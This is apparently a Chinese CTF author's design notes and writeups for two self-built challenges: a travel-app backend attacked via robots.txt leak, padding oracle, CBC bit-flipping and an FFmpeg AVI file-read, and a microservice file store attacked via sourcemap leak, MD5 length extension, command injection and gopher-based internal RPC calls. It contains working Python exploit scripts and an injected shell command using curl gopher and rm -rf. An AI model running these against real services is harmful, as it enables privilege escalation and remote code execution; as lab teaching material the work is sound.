分为两个部分,半决赛出的题和总决赛出的题。也非常幸运,都用上了。靠着这两个题进了总决赛,在最后总分出来的时候往前苟了三十名。

0x01. 半决赛赛题设计说明

1. 题目信息:

2. 题目描述:

这是一个旅游 APP 的后端,你能从中获得 Flag 吗?

3. 题目考点:

1. 敏感文件泄露(Robots.txt)
2. Padding Oracle 明文推断 & CBC 翻转攻击
3. FFMpeg 任意文件读取漏洞

4. 思路简述:

访问 robots.txt,再访问 swagger_ui.html 获得 API 列表之后通过 API 注册普通用户,再用 PadOracle 推出 Key 的加密前的原文再用 CBC 翻转攻击变更角色,提升系统内权限,再上传构造过的 AVI 文件来触发 FFMpeg 漏洞读取 flag.

5. 题目提示:

  1. 敏感文件泄露
  2. Padding Oracle
  3. FFMpeg

6. 原始 flag 及更新命令:

    # 原始 flag
    flag{flag_test}
    # 切换进入容器 bash
    docker exec -it docker_allinone_1 bash
    # 更新 flag 命令
    echo 'flag{85c2a01a-55f7-442a-8712-3f6908e1463a}' > /flag

7. 题目环境:

1. Ubuntu 18.04 LTS
2. Nginx/1.10.3
3. OpenJDK 1.8
4. Mysql 5.7

8. 题目制作过程:

  1. 使用 Spring Boot 编写后端代码。
  2. 使用 Vue + ElementUI 编写前端代码。
  3. 按照“Docker示例文档.md”来编写Dockerfile,制作好镜像。

9. 题目writeup:

1. 打开靶机发现是一个管理后台。 

2. 审计页面源码,发现其中有一个不寻常的 Meta,似乎是设置 Cookie 的。先留着。

3. 扫描敏感文件,发现 robots.txt 里有内容,提供了一个地址 /swagger_ui.html。

4. 打开 swagger_ui.html 看看,发现是 swagger 生成的对外暴露的 API 列表。

5. 点开看看,这里有介绍 API 的具体用法。

6. 点击右上角的 Try it out,可以来测试一下 API,但这里地址是错的,所以测试不了。

7. 所以还是自己替换地址,构造一个注册请求试试吧。

8. 然后到主界面尝试登录,未果,提示权限不足。

9. 在登录的过程中抓包看看,发现其先请求了 /frontend/api/v1/user/login 这个地址,获得了 Token 之后,将 Token 当做 Key 放在请求头里去访问 /frontend/api/v1/user/info 获取用户信息,这里有个角色,3 代表了权限不够的普通用户。

10. 我们来对刚才拿到的那段 Key 做个分析。

eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVRm1zclQ3a2FGM1FXL29vWDdVcVRpZ215TVl5MFFZK1RlSzMya3hGZW94ay9ZNnkzaG0vaEJXK2lMaXVLdnNNS1NPK1ZQQ0pGSTdPbHJTL0dsYThWWmh1Y3p2NSs4djNXckNJSE5TbVJOS2xBRjREdlI2bDBSbFVaajB6WjgzWGlBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoid2x1NUUwN1piR3pUNDVRUEhORzVReUpQT2UyNjUwalgiLCJleHBpcmVfaW4iOjE1NTY4NTM2Mzh9

推测其为 base64,将其解码后结果如下,

{"signed_key":"SUN4a1NpbmdEYW5jZVJhUFmsrT7kaF3QW/ooX7UqTigmyMYy0QY+TeK32kxFeoxk/Y6y3hm/hBW+iLiuKvsMKSO+VPCJFI7OlrS/Gla8VZhuczv5+8v3WrCIHNSmRNKlAF4DvR6l0RlUZj0zZ83XiA==","role":3,"user_id":1,"payload":"wlu5E07ZbGzT45QPHNG5QyJPOe2650jX","expire_in":1556853638}

11. 再对上面解码出来的数据里的 signed_key 做个解码。

SUN4a1NpbmdEYW5jZVJhUFmsrT7kaF3QW/ooX7UqTigmyMYy0QY+TeK32kxFeoxk/Y6y3hm/hBW+iLiuKvsMKSO+VPCJFI7OlrS/Gla8VZhuczv5+8v3WrCIHNSmRNKlAF4DvR6l0RlUZj0zZ83XiA==

base64 解码之后结果如下

ICxkSingDanceRaPY>h][(_*N(&2�>MLEzd��*)#T�Ζ�VUns;Z�ԦDҥ^���Tf=3g׈

12. 前为明文后为乱码,推测前为 IV 后为加密后的密文。推测其为 CBC 加密,尝试利用 Padding Oracle 攻击的方法推算其原文。脚本如下,开始测试时返回码很多的时候为 205,推测其为解密失败的返回码,将其设置为不等于 205 时即解密成功。

#!/usr/bin/python2.7
# -*- coding:utf8 -*-

import requests
import base64
import json

host = "127.0.0.1"
port = 8233

def xor(a, b):
    return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in range(len(a))])

def padoracle(key):
    user_key_decode = base64.b64decode(key)
    user_key_json_decode = json.loads(user_key_decode)

    signed_key = user_key_json_decode['signed_key']
    signed_key_decoed = base64.b64decode(signed_key)

    url = "http://" + host + ":" + str(port) + "/frontend/api/v1/user/info"

    N = 16

    total_plain = ''

    for block in range(0, int(len(signed_key) / 16) - 3):

        token = ''

        get = ""

        cipher = signed_key_decoed[16 + block * 16:32 + block * 16]

        for i in range(1, N + 1):

            for j in range(0, 256):

                token = signed_key_decoed[block * 16:16 + block * 16]

                padding = xor(get, chr(i) * (i - 1))

                c = (chr(0) * (16 - i)) + chr(j) + padding + cipher

                token = base64.b64encode(token + c)

                user_key_json_decode['signed_key'] = token
                header = {'Key': base64.b64encode(json.dumps(user_key_json_decode))}

                res = requests.get(url, headers=header)

                if res.json()['code'] != 205:
                    get = chr(j ^ i) + get

                    break

        plain = xor(get, signed_key_decoed[block * 16:16 + block * 16])

        total_plain += plain

    return total_plain

plain_text = padoracle("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVRm1zclQ3a2FGM1FXL29vWDdVcVRpZ215TVl5MFFZK1RlSzMya3hGZW94ay9ZNnkzaG0vaEJXK2lMaXVLdnNNS1NPK1ZQQ0pGSTdPbHJTL0dsYThWWmh1Y3p2NSs4djNXckNJSE5TbVJOS2xBRjREdlI2bDBSbFVaajB6WjgzWGlBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoid2x1NUUwN1piR3pUNDVRUEhORzVReUpQT2UyNjUwalgiLCJleHBpcmVfaW4iOjE1NTY4NTM2Mzh9")
print(plain_text)

解密成功,原文如下:

{"role":3,"user_id":1,"payload":"wlu5E07ZbGzT45QPHNG5QyJPOe2650jX","expire_in":1556853638}

13. 再尝试用 CBC 翻转攻击将明文里的 role 变为其他数字,比如 1 试试。在第一个区块,所以挺好操作的。同时注意我们密文里修改了,明文里的 user_role 也得修改。脚本如下。

#!/usr/bin/python2.7
# -*- coding:utf8 -*-

import requests
import base64
import json

host = "127.0.0.1"
port = 8233

def cbc_attack(key, block, origin_content, target_content):
    user_key_decode = base64.b64decode(key)
    user_key_json_decode = json.loads(user_key_decode)

    signed_key = user_key_json_decode['signed_key']
    cipher_o = base64.b64decode(signed_key)

    if block > 0:
        iv_prefix = cipher_o[:block * 16]
    else:
        iv_prefix = ''

    iv = cipher_o[block * 16:16 + block * 16]

    cipher = cipher_o[16 + block * 16:]

    iv_array = bytearray(iv)
    for i in range(0, 16):
        iv_array[i] = iv_array[i] ^ ord(origin_content[i]) ^ ord(target_content[i])

    iv = bytes(iv_array)

    user_key_json_decode['signed_key'] = base64.b64encode(iv_prefix + iv + cipher)

    return base64.b64encode(json.dumps(user_key_json_decode))

def get_user_info(key):
    r = requests.post("http://" + host + ":" + str(port) + "/frontend/api/v1/user/info", headers = {"Key": key})
    if r.json()['code'] == 100:
        print("获取成功!")
    return r.json()['data']

def modify_role_palin(key, role):
    user_key_decode = base64.b64decode(user_key)
    user_key_json_decode = json.loads(user_key_decode)
    user_key_json_decode['role'] = role
    return base64.b64encode(json.dumps(user_key_json_decode))

print("翻转 Key:")
user_key = cbc_attack("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVRm1zclQ3a2FGM1FXL29vWDdVcVRpZ215TVl5MFFZK1RlSzMya3hGZW94ay9ZNnkzaG0vaEJXK2lMaXVLdnNNS1NPK1ZQQ0pGSTdPbHJTL0dsYThWWmh1Y3p2NSs4djNXckNJSE5TbVJOS2xBRjREdlI2bDBSbFVaajB6WjgzWGlBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoid2x1NUUwN1piR3pUNDVRUEhORzVReUpQT2UyNjUwalgiLCJleHBpcmVfaW4iOjE1NTY4NTM2Mzh9", 0, '{"role":3,"user_', '{"role":1,"user_')
user_key = modify_role_palin(user_key, 1)
print(user_key)
print("测试拉取用户信息:")
user_info = get_user_info(user_key)
print(user_info)

运行,可以看到翻转成功了,

14. 再回到登录页面,将翻转后的 Key 设置成 Cookie。根据第二步审计源码的结果,Cookie 名应为 Key。

刷新一下页面,发现可以进去了。

15. 然后浏览一下系统里的功能。发现音视频管理这里有个文件上传。

16. 上传不同类型的文件,下载上传后靶机上的文件,比对前后的 MD5,发现其对 avi 类型的视频文件有处理。

17. 推测其后端利用了 FFMpeg 对视频文件做处理,那么就尝试利用 FFMpeg 的漏洞来读取文件。这里我们使用 https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py 来生成 payload。

执行如下命令。

python3 gen_xbin_avi.py file:///flag test.avi

意思是让靶机收到这个 avi 文件之后用 FFMpeg 处理时去读取 /flag 文件。

18. 上传 test.avi,再把处理后的文件下载下来。

19. 播放这个视频文件,看到第一帧,里面有 /flag 的内容。

20. Flag 到手~

0x02. 总决赛赛题设计说明

1. 题目信息:

2. 题目描述:

微服务近年来非常火热,我们也搭上了这波技术潮流自己开发了一套微服务框架,并用她写了一个网盘系统作为 Demo。

3. 题目考点:

1. SourceMap 前端源码泄露
2. MD5 长度扩展攻击
3. Gopher 伪造数据包触发 RPC

4. 思路简述:

近年来微服务架构在后端开发领域非常火热。本题模仿 Apache Dubbo 和 Zookeeper,自己按照相关原理实现了微服务架构最主要的两个特征:注册中心和 RPC(Remote Process Call,远程进程调用),主要目的在于吸引各位关注微服务架构在内网运行时相关安全问题。

  • 前端是 Vue 写的,有 SourceMap 泄露了前端的源码。
  • 再审计前端源码,发现有一个列目录的 API 有写但并没有实际调用。
  • 可以调用这个 API 得到后端源码。
  • 审计后端源码,发现在文件下载时的 Token 验证,结合文件 ID 计算 MD5 时将 Secret 放在了前面,后面 ID 可控,就可以根据已知明文、Secret 长度、已知 MD5 摘要值(对于 Secret + 已知明文)在不知道 Secret 的情况下预测出 Secret + 已知明文 + 填充 + 追加值 的 MD5,从而绕过后端验证。这样就成功实施了 Hash 长度扩展攻击。
  • 绕过之后继续看文件储存服务提供者那部分,那部分会将传来的文件压缩成 Zip 储存,而后下载时将 Zip 解压传送到前端消费者。这里是直接将 ID 拼接在命令里调用的。所以我们可以利用上面的长度扩展攻击把我们自己的命令拼接进去进行 RCE。
  • 由于权限限制,直接读 Flag 文件是读取不了的,需要从 FlagProvider 处获取,审计源码理解 RPC 相关协议,发现可直接发送数据包到 Provider 的端口进行调用。
  • 构造数据包,使用 curl 发出 gopher 协议到 Provider 进行 RPC 调用,获得 Flag。
  • 再存到压缩文件里,依照流程下载下来,拿到 Flag。

5. 题目提示:

  1. SourceMap
  2. 哈希长度扩展攻击
  3. 看一下源码看看怎么能调用那个弗莱格提供者?

6. 原始 flag 及更新命令:

    # 原始 flag
    flag{flag_test}
    # 切换进入容器 bash
    docker exec -it docker_allinone_1 bash
    # 更新 flag 命令
    echo 'flag{85c2a01a-55f7-442a-8712-3f6908e1463a}' > /flag

7. 题目环境:

1. Ubuntu 18.04 LTS
2. Nginx/1.10.3
3. OpenJDK 1.8

8. 题目制作过程:

  1. 使用 Spring Boot 编写后端微服务框架以及相关业务代码。
  2. 使用 Vue + ElementUI 编写前端代码。
  3. 按照“Docker示例文档.md”来编写Dockerfile,制作好镜像。

9. 题目writeup:

1. 打开靶机发现是一个上传文件的页面。 

2. 上传一个文件试试,发现返回了一个下载链接。通过这个链接可以把上传的文件下载回来。

3. 再来看看页面源码,发现在 js 文件后面有写 sourceMapping,说明打包时将 sourceMapping 导出出来了。

4. 将 sourceMapping 下载下来看看(此处也可以用 Chrome 插件 source decector 查看),里面有一个 getFileList 的 API,似乎是获取文件列表的。

5. 直接访问,发现除了我们自己上传的文件外还有另外一个文件。

6. 拿到这个文件的 Token,结合之前的下载地址的格式,将这个文件下载下来看看,发现是后端源码文件包。

有相关说明。

后端源码。

7. 审计源码包,梳理业务流程和内部运作机理。

总流程为各个 provider(服务提供者,下略)启动后向 reg_center (注册中心,下略) 注册自己。

然后 consumer(消费者,下略) 每隔一段时间去拉取目前系统中的 provider 列表,以供后面调用。

上传文件是 frontend_consumer(前端消费者,下略)将文件接收后 base64 传输给 storage_provider (储存服务提供者,下略),storage_provider 会将文件 zip 压缩之后储存,最后将生成的文件 id 传回给 frontend_consumer, frontend_consumer 收到后计算 Sign,组成 Token 之后返回给前端。

下载文件则是 frontend_consumer 收到 Token 之后解析验证,然后把文件 id 传输给 storage_provider,storage_provider 将之前压缩储存起来的文件解压之后返回一个临时的 URL 给 frontend_consumer,frontend_consumer 拉取文件之后返回给前端。

Token 为 Base64 之后的 id 和 Sign 组成 JSON 再 Base64 之后的字符串。

8. 同时发现以下几个利用点。

在 frontend_consumer/src/main/java/in/zhaoj/homebreww_dubbo/frontend_consumer/util/FileSignUtil.java 下生成签名时是将 Secret 摆在前面,可控的 ID 摆在后面,而且用的是 MD5 算法,此处有 Hash 扩展攻击。

再看到 storage_provider/src/main/java/in/zhaoj/homebrew_dubbo/storage_provider/service/Impl/StorageServiceImpl.java 下的 readFile 方法,这里直接将传入的 id 直接拼接到 shell 中作为参数。

联立以上两点,就可以进行 RCE 了。

9. 但发现直接读取 /flag 因为权限问题是读取不了的。所以这里就要尝试调用 FlagProvider 来给我们 flag 了。

10. 所以这里就继续阅读一下 FlagProvider 的源码 flag_provider/src/main/java/in/zhaoj/homebrew_dubbo/flag_provider/bean/DubboListenBean.java,发现这里是将收到的数据以 Json 解析,解析之后需要 opt 为 call,而后需要传入 method 参数也就是方法名还有 parameter 也就是参数键对传来,调用完毕之后回传执行结果。

11. 再看到 flag_provider/src/main/java/in/zhaoj/homebrew_dubbo/flag_provider/service/impl/FlagServiceImpl.java,也就是我们要调用的服务实现里,直接调用 getFlag 这个方法即可直接获取 Flag.

12. 这里我们还得先去看看这个服务监听的端口,之前那个泄露的文档里有说都是 prod 环境部署,那么就看 flag_provider/src/main/resources/application-prod.properties 下的 prod 配置。

可以看到为本地的 8888 端口。

13. 考虑使用 curl 请求 gopher 协议来调用该接口。然后就来构造数据包,

{"opt":"call","method":"getFlag","parameter":{}}

为我们需要的数据包 Payload,

然后将其 URLEncode 之后得到如下的字符串。

%7b%22opt%22%3a%22call%22%2c%22method%22%3a%22getFlag%22%2c%22parameter%22%3a%7b%7d%7d

14. 再来完善我们 RCE 的命令,也就是长度扩展攻击拼接在后面的命令。

;curl gopher://127.0.0.1:8888/_%7b%22opt%22%3a%22call%22%2c%22method%22%3a%22getFlag%22%2c%22parameter%22%3a%7b%7d%7d -m 2 >> catchtest.txt; zip catchtest.zip catchtest.txt; rm -rf catchtest.txt;

调用接口,获取结果,存到文件,再压缩。主要是为了之后我们能下载这个文件。

15. 编写 Python 脚本,得到 hash 长度扩展攻击的 Payload。随意来一个 Token,解析之后进行长度扩展攻击,id 拼接上填充和我们上面这段命令,sign 就为我们预测到的 md5。最后直接生成新的 Token。注意此脚本需要安装 hashpumpy这个依赖。

import base64
import hashpumpy
import json

# 任意一个 Token 即可
token = "eyJzaWduIjoiTkdKak5qYzJZMkl5TkRrMlptWTROREprTnpZM016azNNbVppT1RneVpXST0iLCJpZCI6IllqTXpPVFU0TVdZdE1UWTBOaTAwT0dZNExUaGxOVEF0WkRFMk1UVmhNRGN5TldVeSJ9"

data = json.loads(base64.b64decode(token))
id = base64.b64decode(data['id'])
sign = base64.b64decode(data['sign'])
result = hashpumpy.hashpump(sign, id,
                            ';curl gopher://127.0.0.1:8888/_%7b%22opt%22%3a%22call%22%2c%22method%22%3a%22getFlag%22%2c%22parameter%22%3a%7b%7d%7d -m 2 >> catchtest.txt; zip catchtest.zip catchtest.txt; rm -rf catchtest.txt;',
                            32)

data['id'] = base64.b64encode(result[1]).decode()
data['sign'] = base64.b64encode(result[0].encode()).decode()

token = base64.b64encode(json.dumps(data).encode())

print(token)

运行之后得到新的 Token.

16. 将新的 Token 拼接在下载地址 /api/upload?token= 中,访问,可能会提示出错或者白屏,不打紧。因为咱们这个命令把原先的命令给干掉了。

17. 然后访问之前得到的 /api/upload/list 这个 api,可以得到刚才我们生成的那个文件的下载 Token 了。

18. 将这个 Token 拼接在下载地址 /api/upload?token= 中,访问,可以下载到一个文件。

19. 打开这个文件,即可看到 Flag。

10. 备注

1. 因为设置了权限,Flag 更新时请切换到 root 账户或者 java2 账户进行。

2. 在使用 exp 脚本或者上面那个长度扩展攻击脚本时,请务必先安装 hashpumpy 依赖。

pip install hashpumpy

3. 由于设计为分布式服务,启动需要一些时间,可能启动之后需要半分钟到一分钟才能访问,请耐心等待,谢谢。